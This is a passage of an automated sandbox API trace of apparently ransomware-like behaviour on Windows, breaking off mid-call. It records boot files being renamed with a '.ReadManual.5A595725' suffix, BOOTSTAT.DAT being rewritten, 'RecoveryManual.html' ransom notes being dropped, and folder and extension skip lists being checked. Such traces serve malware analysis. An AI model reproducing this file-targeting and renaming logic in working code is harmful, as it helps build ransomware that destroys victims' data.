lpString1=0x68b880, lpString2="\\\\?\\c:\\Boot\\BCD" | out: lpString1="\\\\?\\c:\\Boot\\BCD") returned="\\\\?\\c:\\Boot\\BCD" [0175.729] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\BCD", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Boot\\BCD.ReadManual.5A595725") returned="\\\\?\\c:\\Boot\\BCD.ReadManual.5A595725" [0175.729] lstrlenW (lpString="\\\\?\\c:\\Boot\\BCD.ReadManual.5A595725") returned 35 [0175.729] QueryPerformanceFrequency (in: lpFrequency=0x2e4010 | out: lpFrequency=0x2e4010*=100000000) returned 1 [0175.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe60 | out: lpPerformanceCount=0x434fe60*=29639808422) returned 1 [0175.729] GetFileAttributesW (lpFileName="\\\\?\\c:\\Boot\\BCD" (normalized: "c:\\boot\\bcd")) returned 0x20 [0175.729] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.730] GetLastError () returned 0x20 [0175.730] GetLastError () returned 0x20 [0175.730] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\" | out: lpString1="\\\\?\\c:\\Boot\\") returned="\\\\?\\c:\\Boot\\" [0175.730] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\RecoveryManual.html" [0175.730] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\RecoveryManual.html" (normalized: "c:\\boot\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0175.731] WriteFile (in: hFile=0x158, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fec8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fec8*=0xae9, lpOverlapped=0x0) returned 1 [0175.732] CloseHandle (hObject=0x158) returned 1 [0175.733] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0175.733] lstrcpyW (in: lpString1=0x6ab8b4, lpString2="BCD.LOG" | out: lpString1="BCD.LOG") returned="BCD.LOG" [0175.733] lstrcmpiW (lpString1="BCD.LOG", lpString2="RecoveryManual.html") returned -1 [0175.734] StrStrIW (lpFirst="BCD.LOG", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.734] StrCmpIW (psz1="LOG", psz2="exe") returned 1 [0175.734] StrCmpIW (psz1="LOG", psz2="dll") returned 1 [0175.734] StrCmpIW (psz1="LOG", psz2="sys") returned -1 [0175.734] StrCmpIW (psz1="LOG", psz2="msi") returned -1 [0175.734] StrCmpIW (psz1="LOG", psz2="mui") returned -1 [0175.734] StrCmpIW (psz1="LOG", psz2="inf") returned 1 [0175.734] StrCmpIW (psz1="LOG", psz2="cat") returned 1 [0175.734] StrCmpIW (psz1="LOG", psz2="bat") returned 1 [0175.734] StrCmpIW (psz1="LOG", psz2="cmd") returned 1 [0175.734] StrCmpIW (psz1="LOG", psz2="ps1") returned -1 [0175.734] StrCmpIW (psz1="LOG", psz2="vbs") returned -1 [0175.734] StrCmpIW (psz1="LOG", psz2="ttf") returned -1 [0175.734] StrCmpIW (psz1="LOG", psz2="fon") returned 1 [0175.734] StrCmpIW (psz1="LOG", psz2="lnk") returned 1 [0175.734] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Boot\\BCD.LOG" | out: lpString1="\\\\?\\c:\\Boot\\BCD.LOG") returned="\\\\?\\c:\\Boot\\BCD.LOG" [0175.734] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\BCD.LOG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Boot\\BCD.LOG.ReadManual.5A595725") returned="\\\\?\\c:\\Boot\\BCD.LOG.ReadManual.5A595725" [0175.734] lstrlenW (lpString="\\\\?\\c:\\Boot\\BCD.LOG.ReadManual.5A595725") returned 39 [0175.734] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe60 | out: lpPerformanceCount=0x434fe60*=29640283542) returned 1 [0175.734] GetFileAttributesW (lpFileName="\\\\?\\c:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log")) returned 0x26 [0175.734] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.734] GetLastError () returned 0x20 [0175.734] GetLastError () returned 0x20 [0175.734] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0175.734] lstrcpyW (in: lpString1=0x6ab8b4, lpString2="BCD.LOG1" | out: lpString1="BCD.LOG1") returned="BCD.LOG1" [0175.734] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0175.735] lstrcpyW (in: lpString1=0x6ab8b4, lpString2="BCD.LOG2" | out: lpString1="BCD.LOG2") returned="BCD.LOG2" [0175.735] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0175.735] lstrcpyW (in: lpString1=0x6ab8b4, lpString2="BOOTSTAT.DAT" | out: lpString1="BOOTSTAT.DAT") returned="BOOTSTAT.DAT" [0175.735] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="RecoveryManual.html") returned -1 [0175.735] StrStrIW (lpFirst="BOOTSTAT.DAT", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.735] StrCmpIW (psz1="DAT", psz2="exe") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="dll") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="sys") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="msi") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="mui") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="inf") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="cat") returned 1 [0175.735] StrCmpIW (psz1="DAT", psz2="bat") returned 1 [0175.735] StrCmpIW (psz1="DAT", psz2="cmd") returned 1 [0175.735] StrCmpIW (psz1="DAT", psz2="ps1") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="vbs") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="ttf") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="fon") returned -1 [0175.735] StrCmpIW (psz1="DAT", psz2="lnk") returned -1 [0175.735] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Boot\\BOOTSTAT.DAT" | out: lpString1="\\\\?\\c:\\Boot\\BOOTSTAT.DAT") returned="\\\\?\\c:\\Boot\\BOOTSTAT.DAT" [0175.735] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\BOOTSTAT.DAT", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Boot\\BOOTSTAT.DAT.ReadManual.5A595725") returned="\\\\?\\c:\\Boot\\BOOTSTAT.DAT.ReadManual.5A595725" [0175.735] lstrlenW (lpString="\\\\?\\c:\\Boot\\BOOTSTAT.DAT.ReadManual.5A595725") returned 44 [0175.735] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe60 | out: lpPerformanceCount=0x434fe60*=29640392128) returned 1 [0175.735] GetFileAttributesW (lpFileName="\\\\?\\c:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0175.797] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0175.797] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x434fe78 | out: lpFileSize=0x434fe78*=65536) returned 1 [0175.797] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10000, lpName=0x0) returned 0x15c [0175.797] SetFileInformationByHandle (hFile=0x158, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x68) returned 1 [0175.798] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.798] WriteFile (in: hFile=0x158, lpBuffer=0x434fd60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd5c, lpOverlapped=0x0 | out: lpBuffer=0x434fd60*, lpNumberOfBytesWritten=0x434fd5c*=0x20, lpOverlapped=0x0) returned 1 [0175.799] WriteFile (in: hFile=0x158, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd5c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd5c*=0x100, lpOverlapped=0x0) returned 1 [0175.799] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10000) returned 0x2f0000 [0175.838] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0175.838] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe68 | out: lpPerformanceCount=0x434fe68*=29650716319) returned 1 [0175.838] CloseHandle (hObject=0x15c) returned 1 [0175.839] SetSecurityInfo () returned 0x57 [0175.839] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0175.839] CloseHandle (hObject=0x158) returned 1 [0175.839] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0175.839] lstrcpyW (in: lpString1=0x69b8b4, lpString2="cs-CZ" | out: lpString1="cs-CZ") returned="cs-CZ" [0175.839] lstrcatW (in: lpString1="cs-CZ", lpString2="\\" | out: lpString1="cs-CZ\\") returned="cs-CZ\\" [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\Windows\\") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\WINNT") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.839] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.840] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\cs-CZ\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.840] lstrlenW (lpString="\\\\?\\c:\\Boot\\cs-CZ\\") returned 18 [0175.840] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\cs-CZ\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.840] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\cs-CZ\\" | out: lpString1="\\\\?\\c:\\Boot\\cs-CZ\\") returned="\\\\?\\c:\\Boot\\cs-CZ\\" [0175.840] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.841] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.841] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.841] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.841] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.841] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.841] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.841] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.841] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.841] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.841] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\cs-CZ\\" | out: lpString1="\\\\?\\c:\\Boot\\cs-CZ\\") returned="\\\\?\\c:\\Boot\\cs-CZ\\" [0175.841] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\cs-CZ\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\cs-CZ\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\cs-CZ\\RecoveryManual.html" [0175.841] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\cs-CZ\\RecoveryManual.html" (normalized: "c:\\boot\\cs-cz\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.841] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.842] CloseHandle (hObject=0x15c) returned 1 [0175.842] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.842] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.842] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0175.842] lstrcpyW (in: lpString1=0x69b8b4, lpString2="da-DK" | out: lpString1="da-DK") returned="da-DK" [0175.843] lstrcatW (in: lpString1="da-DK", lpString2="\\" | out: lpString1="da-DK\\") returned="da-DK\\" [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\Windows\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\WINNT") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.843] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\da-DK\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.843] lstrlenW (lpString="\\\\?\\c:\\Boot\\da-DK\\") returned 18 [0175.843] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\da-DK\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.844] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\da-DK\\" | out: lpString1="\\\\?\\c:\\Boot\\da-DK\\") returned="\\\\?\\c:\\Boot\\da-DK\\" [0175.844] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.844] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.844] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.844] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.844] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.844] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.844] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.844] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.844] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.844] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.844] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\da-DK\\" | out: lpString1="\\\\?\\c:\\Boot\\da-DK\\") returned="\\\\?\\c:\\Boot\\da-DK\\" [0175.844] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\da-DK\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\da-DK\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\da-DK\\RecoveryManual.html" [0175.844] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\da-DK\\RecoveryManual.html" (normalized: "c:\\boot\\da-dk\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.844] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, 